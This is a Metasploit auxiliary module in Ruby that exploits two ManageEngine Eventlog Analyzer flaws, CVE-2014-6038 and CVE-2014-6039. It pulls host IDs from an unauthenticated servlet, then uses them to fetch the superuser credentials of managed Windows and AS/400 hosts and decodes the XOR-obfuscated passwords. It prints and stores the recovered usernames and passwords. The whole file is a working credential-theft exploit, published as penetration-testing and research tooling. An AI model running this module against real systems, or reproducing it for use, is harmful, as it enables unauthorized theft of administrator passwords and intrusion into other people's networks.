|
require 'msf/core'
require 'rexml/document'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure',
'Description' => %q{
ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that
allow an unauthenticated user to obtain the superuser password of any managed Windows and
AS/400 hosts. This module abuses both vulnerabilities to collect all the available
usernames and passwords. First the agentHandler servlet is abused to get the hostid and
slid of each device (CVE-2014-6038); then these numeric id's are used to extract usernames
and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7
the TARGETURI has to be prepended with /event.
},
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>'
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2014-6038' ],
[ 'CVE', '2014-6039' ],
[ 'OSVDB', '114342' ],
[ 'OSVDB', '114344' ],
],
'DisclosureDate' => 'Nov 5 2014'))
register_options(
[
Opt::RPORT(8400),
OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']),
], self.class)
end
def decode_password(encoded_password)
password_xor = Rex::Text.decode_base64(encoded_password)
password = ''
password_xor.bytes.each do |byte|
password << (byte ^ 0x30)
end
return password
end
def run
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'agentHandler'),
'method' =>'GET',
'vars_get' => {
'mode' => 'getTableData',
'table' => 'HostDetails'
}
})
unless res && res.code == 200
fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet")
return
end
xml = res.body.to_s.gsub(/&
begin
doc = REXML::Document.new(xml)
rescue
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
end
slid_host_ary = []
doc.elements.each('Details/HostDetails') do |ele|
if ele.attributes['password']
slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']]
end
end
cred_table = Rex::Ui::Text::Table.new(
'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',
'Indent' => 1,
'Columns' =>
[
'Host',
'Type',
'SubType',
'Domain',
'Username',
'Password',
]
)
slid_host_ary.each do |host|
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'hostdetails'),
'method' =>'GET',
'vars_get' => {
'slid' => host[0],
'hostid' => host[1]
}
})
unless res && res.code == 200
fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet")
end
begin
doc = REXML::Document.new(res.body)
rescue
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")
end
doc.elements.each('Details/Hosts') do |ele|
host_ipaddress = ele.attributes['host_ipaddress'] || ''
ele.elements.each('HostDetails') do |details|
domain_name = details.attributes['domain_name'] || ''
username = details.attributes['username'] || ''
password_encoded = details.attributes['password'] || ''
password = decode_password(password_encoded)
type = details.attributes['type'] || ''
subtype = details.attributes['subtype'] || ''
unless type =~ /Windows/ || subtype =~ /Windows/
domain_name = ""
end
msg = "Got login to #{host_ipaddress} | running "
msg << type << (subtype != '' ? " | #{subtype}" : '')
msg << ' | username: '
msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username)
msg << " | password: #{password}"
print_good(msg)
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
if type == 'Windows'
service_name = 'epmap'
port = 135
elsif type == 'IBM AS/400'
service_name = 'as-servermap'
port = 449
else
next
end
credential_core = report_credential_core({
password: password,
username: username,
})
host_login_data = {
address: host_ipaddress,
service_name: service_name,
workspace_id: myworkspace_id,
protocol: 'tcp',
port: port,
core: credential_core,
status: Metasploit::Model::Login::Status::UNTRIED
}
create_credential_login(host_login_data)
end
end
end
print_line
print_line("#{cred_table}")
loot_name = 'manageengine.eventlog.managed_hosts.creds'
loot_type = 'text/csv'
loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
p = store_loot(
loot_name,
loot_type,
rhost,
cred_table.to_csv,
loot_filename,
loot_desc)
print_status "Credentials saved in: #{p}"
end
def report_credential_core(cred_opts={})
origin_service_data = {
address: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
private_type: :password,
private_data: cred_opts[:password],
username: cred_opts[:username]
}
credential_data.merge!(origin_service_data)
create_credential(credential_data)
end
end
|